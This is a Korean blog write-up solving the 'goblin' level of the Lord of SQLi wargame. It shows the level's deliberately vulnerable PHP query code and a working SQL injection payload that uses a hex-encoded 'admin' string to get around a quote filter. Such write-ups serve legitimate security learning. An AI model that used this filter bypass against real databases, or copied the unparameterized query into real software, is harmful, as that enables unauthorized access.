<코드 분석>
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
id 값이 admin이면 풀리는 문제.
' (quote) 가 필터링 되는 문제. -> 문자열로 주지말고 hex 값으로 주면 된다.
<해설>
no 라는 변수를 이용해서 guest라는 id 값을 admin으로 바꿔줘야한다
no 값에 0을 넣어주고 다시 id에 값을 주자.
?no=0or%20id=0x61646D696E
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Wolfman (0) | 2020.05.13 |
---|---|
LOS -rubiya : Wolfman (0) | 2020.05.13 |
LOS -rubiya : Orc (0) | 2020.05.08 |
LOS -rubiya : Cobolt (0) | 2020.05.07 |
LOS - rubiya : Gremlin (0) | 2020.05.07 |